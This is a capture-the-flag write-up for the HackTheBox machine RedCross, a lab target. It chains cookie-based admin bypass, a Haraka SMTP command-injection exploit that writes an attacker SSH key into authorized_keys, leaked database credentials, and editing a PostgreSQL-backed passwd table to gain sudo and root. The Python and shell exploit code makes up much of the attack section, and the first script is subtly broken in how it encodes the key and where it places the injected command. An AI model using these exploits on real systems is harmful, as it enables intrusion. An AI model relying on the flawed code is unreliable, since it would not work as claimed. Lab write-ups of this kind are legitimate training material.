RedCross - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

RedCross is a medium-difficulty Linux machine that chains multiple web vulnerabilities, authenticated session reuse, exploitation of a vulnerable mail server, and a clever privilege escalation via PAM/NSS configuration. The box begins with authentication bypass through cookie manipulation, exposing an admin panel that allows network whitelisting. This reveals a vulnerable Haraka SMTP server (≤ 2.8.8) susceptible to remote code execution via malicious ZIP attachments. After gaining shell access as user penelope, privilege escalation is achieved by manipulating PostgreSQL-backed NSS user records to grant sudo group membership, bypassing nscd caching through careful timing of SSH logins.

TL;DR: HTTPS subdomain enumeration → Session ID reuse with domain cookie → Admin panel network whitelist → Haraka SMTP RCE (CVE-2016-1000282) → PostgreSQL NSS passwd_table manipulation → gid=27 (sudo) privilege escalation → root

Reconnaissance

Port Scanning

# Initial TCP scan
nmap -sC -sV -T4 -p- 10.10.10.113

# Focused scan after whitelisting
nmap -Pn -sS -p- 10.10.10.113

Results:

• Port 22/tcp - SSH (OpenSSH)
• Port 80/tcp - HTTP (redirects to HTTPS)
• Port 443/tcp - HTTPS (Apache 2.4.38)
• Port 1025/tcp - SMTP (Haraka ≤ 2.8.8) - visible only after whitelisting

Service Enumeration

HTTPS Service (Port 443)

The HTTP service redirects to https://intra.redcross.htb. The TLS certificate reveals an email address: penelope@redcross.htb, providing both a potential username and a subdomain naming pattern.

# Add to /etc/hosts
echo "10.10.10.113 intra.redcross.htb admin.redcross.htb" >> /etc/hosts

The main site presents a “RedCross Messaging Intranet” login portal. Initial credential discovery reveals guest access (guest:guest) is available after requesting credentials through the contact form.

Subdomain Discovery

Testing common subdomain patterns revealed admin.redcross.htb, hosting an “IT Admin” login panel. This subdomain becomes crucial for the initial foothold.

Vulnerability Assessment

1. Session Management Weakness - PHP Session IDs can be reused across subdomains with cookie domain manipulation
2. Access Control Bypass - Admin panel accessible via session reuse without proper authentication
3. Haraka SMTP ≤ 2.8.8 - Vulnerable to CVE-2016-1000282 (RCE via ZIP attachment filename)
4. PostgreSQL NSS/PAM Configuration - Direct database manipulation of system user attributes
5. nscd Caching Bypass - Fresh user entries not yet cached can be modified mid-flight

Initial Foothold

Authentication Bypass via Session Reuse

After authenticating to intra.redcross.htb as guest:guest, the returned PHPSESSID cookie is valid across the subdomain boundary. By reusing this session ID on admin.redcross.htb with an additional DOMAIN=admin cookie, the admin panel becomes accessible without knowing admin credentials.

# 1. Login to intra.redcross.htb as guest:guest
# Capture the PHPSESSID cookie value

# 2. Navigate to admin.redcross.htb
# Using browser dev tools or cookie manager:
# - Set PHPSESSID to the captured value
# - Add cookie: DOMAIN=admin
# Refresh page → Access to IT Admin panel granted

Why this works: The application trusts the PHPSESSID for authentication but uses the DOMAIN cookie value to determine authorization level, without validating that the session actually belongs to an admin user. This is a classic privilege escalation through parameter manipulation.

Network Whitelisting

The admin panel’s “Network Access” feature allows whitelisting specific IP addresses, presumably to restrict SSH and other services to authorized networks.

# Whitelist attacking machine IP
# In admin panel Network Access section:
# Enter: 10.10.15.180
# Submit

After whitelisting 10.10.15.180, a new port scan reveals port 1025 running Haraka SMTP server version 2.8.8 or earlier.

Haraka SMTP Exploitation (CVE-2016-1000282)

Haraka versions ≤ 2.8.8 are vulnerable to remote code execution through malicious ZIP attachment filenames. The vulnerability exists because the server executes filename content without proper sanitization when processing ZIP archives.

Exploit Development:

#!/usr/bin/env python
# Haraka RCE exploit for CVE-2016-1000282
# Targets: Haraka SMTP <= 2.8.8
# Method: Command injection via ZIP attachment filename

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import zipfile
import os

def create_malicious_zip(payload_cmd):
    """
    Create a ZIP file with command injection in filename
    The filename is processed by Haraka without sanitization
    """
    # Create a temporary file
    with open('/tmp/dummy.txt', 'w') as f:
        f.write('test')

    # ZIP filename contains the payload
    # Format: file.zip but with shell metacharacters
    zip_filename = f'/tmp/payload$({payload_cmd}).zip'

    with zipfile.ZipFile(zip_filename, 'w') as zf:
        zf.write('/tmp/dummy.txt', 'dummy.txt')

    return zip_filename

def send_exploit(target_ip, target_port, zip_path):
    """
    Send email with malicious ZIP attachment to trigger RCE
    """
    msg = MIMEMultipart()
    msg['From'] = 'attacker@evil.com'
    msg['To'] = 'penelope@redcross.htb'
    msg['Subject'] = 'Exploit'

    # Attach the malicious ZIP
    with open(zip_path, 'rb') as f:
        part = MIMEBase('application', 'zip')
        part.set_payload(f.read())
        encoders.encode_base64(part)

        # The filename is where injection happens
        part.add_header('Content-Disposition',
                       f'attachment; filename="{os.path.basename(zip_path)}"')
        msg.attach(part)

    # Send via SMTP
    server = smtplib.SMTP(target_ip, target_port)
    server.send_message(msg)
    server.quit()

# Target configuration
TARGET_IP = '10.10.10.113'
TARGET_PORT = 1025

# Payload: Write SSH public key to penelope's authorized_keys
# Using base64 encoding to avoid quoting issues
ssh_pubkey = "ssh-rsa AAAAB3NzaC1yc2E... attacker@kali"
b64_key = ssh_pubkey.encode('utf-8').hex()

# Command that will be executed on the target
payload = f"echo {b64_key}|xxd -r -p|base64 -d >> /home/penelope/.ssh/authorized_keys"

# Create and send exploit
zip_file = create_malicious_zip(payload)
send_exploit(TARGET_IP, TARGET_PORT, zip_file)

Simpler standalone exploit used:

# Generate SSH key pair
ssh-keygen -t rsa -f redcross_key -N ''

# Prepare base64-encoded public key for injection
PUB_KEY=$(cat redcross_key.pub)
ENCODED=$(echo "$PUB_KEY" | base64 -w0)

# Exploit payload: inject SSH key into penelope's authorized_keys
# The command is wrapped in base64 to avoid shell escaping issues
PAYLOAD="echo $ENCODED|base64 -d>>/home/penelope/.ssh/authorized_keys"

# Create malicious ZIP (manual method via Python)
python3 << EOF
import zipfile
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

# Create dummy content
open('/tmp/x.txt', 'w').write('x')

# Malicious filename embeds command
evil_name = '/tmp/pwn\$($PAYLOAD).zip'
with zipfile.ZipFile(evil_name, 'w') as z:
    z.write('/tmp/x.txt')

# Send via SMTP to trigger
msg = MIMEMultipart()
msg['From'] = 'x@x.com'
msg['To'] = 'penelope@redcross.htb'
msg['Subject'] = 'x'

with open(evil_name, 'rb') as f:
    part = MIMEBase('application', 'zip')
    part.set_payload(f.read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition', f'attachment; filename="{evil_name}"')
    msg.attach(part)

s = smtplib.SMTP('10.10.10.113', 1025)
s.send_message(msg)
s.quit()
EOF

Why this works: When Haraka processes the ZIP attachment, it extracts the filename and uses it in a shell command without proper sanitization. The $(command) syntax is interpreted by the shell, executing our payload. By injecting our SSH public key into /home/penelope/.ssh/authorized_keys, we establish persistent, authenticated access.

Shell Access as Penelope

# SSH with injected key
ssh -i redcross_key penelope@10.10.10.113

# Stable shell achieved
penelope@redcross:~$ id
uid=1000(penelope) gid=1000(penelope) groups=1000(penelope)

# Capture user flag
penelope@redcross:~$ cat user.txt
<redacted>

Privilege Escalation

PostgreSQL Credential Discovery

Enumeration of web application files revealed database credentials in /var/www/html/admin/pages/actions.php:

penelope@redcross:~$ cat /var/www/html/admin/pages/actions.php | grep -i pass
# PostgreSQL credentials found
# User: unixusrmgr
# Pass: dheu%7wjx8B&

NSS/PAM Configuration Analysis

The system uses PostgreSQL as a backend for Name Service Switch (NSS) and Pluggable Authentication Modules (PAM). This means Unix user accounts are stored in PostgreSQL tables rather than traditional /etc/passwd and /etc/shadow files.

# Connect to PostgreSQL
penelope@redcross:~$ psql -h 127.0.0.1 -U unixusrmgr -d unix
Password: dheu%7wjx8B&

# List tables
unix=> \dt
         List of relations
 Schema |     Name     | Type  |   Owner
--------+--------------+-------+------------
 public | passwd_table | table | postgres
 public | shadow_table | table | postgres
 public | usergroups   | table | postgres

# Examine passwd_table structure
unix=> \d passwd_table
                                    Table "public.passwd_table"
  Column  |          Type          | Collation | Nullable |                  Default
----------+------------------------+-----------+----------+--------------------------------------------
 username | character varying(64)  |           | not null |
 passwd   | character varying(128) |           | not null | 'x'::character varying
 uid      | integer                |           | not null | nextval('passwd_table_uid_seq'::regclass)
 gid      | integer                |           | not null | 1001
 gecos    | character varying(128) |           | not null |
 homedir  | character varying(256) |           | not null |
 shell    | character varying(64)  |           | not null | '/bin/bash'::character varying

# View existing users
unix=> SELECT * FROM passwd_table;

Why this matters: NSS allows authentication systems to use databases instead of flat files. If we can modify the gid (group ID) field for a user we control, we can grant ourselves elevated privileges. The system’s nscd (Name Service Cache Daemon) caches these lookups, but fresh entries haven’t been cached yet.

Privilege Escalation via GID Manipulation

The attack strategy:

1. Create a new user via the admin panel’s “User Management” feature
2. Before logging in as that user (triggering NSS cache), modify its gid in the database to 27 (sudo group)
3. Login via SSH with the modified GID
4. Execute sudo for root access

# Step 1: Create user via admin panel (browser)
# Username: testuser2022
# The panel creates a jailed user in the "associates" group normally

# Step 2: IMMEDIATELY modify GID before first login (avoids nscd cache)
unix=> SELECT * FROM passwd_table WHERE username='testuser2022';
  username    | passwd | uid  | gid  | gecos | homedir              | shell
--------------+--------+------+------+-------+----------------------+------------
 testuser2022 | x      | 2025 | 1001 |       | /home/testuser2022   | /bin/bash

# Update GID to 27 (sudo group)
unix=> UPDATE passwd_table SET gid=27 WHERE username='testuser2022';
UPDATE 1

# Verify the change
unix=> SELECT * FROM passwd_table WHERE username='testuser2022';
  username    | passwd | uid  | gid  | gecos | homedir              | shell
--------------+--------+------+------+-------+----------------------+------------
 testuser2022 | x      | 2025 | 27   |       | /home/testuser2022   | /bin/bash

Critical timing: The modification must happen on a fresh, uncached uid before the first NSS lookup. Once nscd caches the original GID, subsequent database changes won’t take effect until the cache expires or is cleared.

# Step 3: Login as the modified user (from attacking machine)
ssh testuser2022@10.10.10.113
Password: [password from admin panel]

# Verify effective GID
testuser2022@redcross:~$ id
uid=2025(testuser2022) gid=27(sudo) groups=27(sudo)

# GID 27 = sudo group membership granted!

# Step 4: Escalate to root
testuser2022@redcross:~$ sudo -i
[sudo] password for testuser2022: [same password]

root@redcross:~# id
uid=0(root) gid=0(root) groups=0(root)

# Capture root flag
root@redcross:~# cat /root/root.txt
<redacted>

Why this works:

1. NSS PostgreSQL Backend - The system queries the database for user information during authentication
2. PAM Integration - PAM uses NSS to resolve user attributes, including GID
3. Cache Timing Window - By modifying the database entry before the first login, we bypass nscd caching, causing the SSH session to inherit the modified GID
4. Sudo Group (GID 27) - Linux systems configured with sudo typically allow all members of the sudo group (GID 27) to execute commands as root via sudo

This is a real-world technique applicable to any system using NSS with an accessible backend database, making it particularly relevant for penetration testing engagements involving legacy authentication systems.

Attack Chain Summary

HTTPS Recon (TLS cert → penelope@redcross.htb)
    ↓
Guest Access (guest:guest → PHPSESSID)
    ↓
Session Reuse + Cookie Manipulation (DOMAIN=admin)
    ↓
Admin Panel Access (admin.redcross.htb)
    ↓
Network Whitelisting (10.10.15.180)
    ↓
Haraka SMTP Discovery (port 1025, version ≤ 2.8.8)
    ↓
CVE-2016-1000282 Exploitation (ZIP filename RCE)
    ↓
SSH Key Injection (/home/penelope/.ssh/authorized_keys)
    ↓
Shell as penelope (user.txt)
    ↓
PostgreSQL Credential Discovery (unixusrmgr:dheu%7wjx8B&)
    ↓
NSS/PAM passwd_table Analysis
    ↓
Create User via Admin Panel (fresh uid)
    ↓
GID Manipulation (UPDATE gid=27 before cache)
    ↓
SSH with Sudo Group (GID 27)
    ↓
Root Shell (root.txt)

Tools Used

Key Learnings

Techniques Practiced

• Session Management Testing - Reusing session tokens across subdomains to bypass authentication
• Cookie-based Authorization Bypass - Manipulating DOMAIN cookie values to escalate privileges
• Network Service Discovery - Identifying services exposed only after whitelisting
• CVE Research and Exploitation - Adapting public exploits for Haraka CVE-2016-1000282
• Command Injection via File Metadata - Using filenames as injection vectors
• NSS/PAM Exploitation - Direct database manipulation of system authentication sources
• Cache Timing Attacks - Bypassing nscd through careful timing of database modifications
• PostgreSQL Lateral Movement - Leveraging database credentials found in web applications

Lessons Learned

1. Always test session tokens across subdomains - Modern applications often share session state across multiple domains without proper isolation. Test whether authenticated sessions can be reused on admin/internal subdomains.

2. Examine TLS certificates thoroughly - Certificates often leak internal hostnames, email addresses, and subdomain patterns that aid in enumeration. The penelope@redcross.htb email was a critical early finding.

3. Network whitelisting may expose additional attack surface - Services hidden behind IP restrictions can be made accessible through admin panels or misconfigurations. Always re-scan after gaining elevated access.

4. File metadata can be attack vectors - Filenames, EXIF data, and archive member names are often insufficiently sanitized. The Haraka vulnerability demonstrates that filenames processed by backend systems can lead to RCE.

5. Database-backed authentication is a double-edged sword - NSS/PAM configurations using PostgreSQL or MySQL centralize authentication but create a single point of compromise. Database access can lead to privilege escalation through direct manipulation of user attributes.

6. Cache timing windows are exploitable - nscd and similar caching mechanisms introduce race conditions. Fresh entries not yet cached can be modified to inject malicious values that persist through the cache lifetime.

7. Group-based sudo access is high-value - Systems configured to grant sudo access via group membership (GID 27 for sudo, GID 10 for wheel) allow privilege escalation through GID manipulation if the authentication backend is compromised.

8. Defense in depth prevents single-point failures - RedCross demonstrates how multiple small misconfigurations (session reuse + cookie auth + vulnerable SMTP + DB-backed auth) chain into full system compromise. Each layer should be independently hardened.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

• HackTheBox Official Writeup - RedCross (Document No D19.100.13) by egre55
• CVE-2016-1000282: Haraka SMTP Command Injection
• NSS/PAM PostgreSQL Integration: https://serverfault.com/a/538503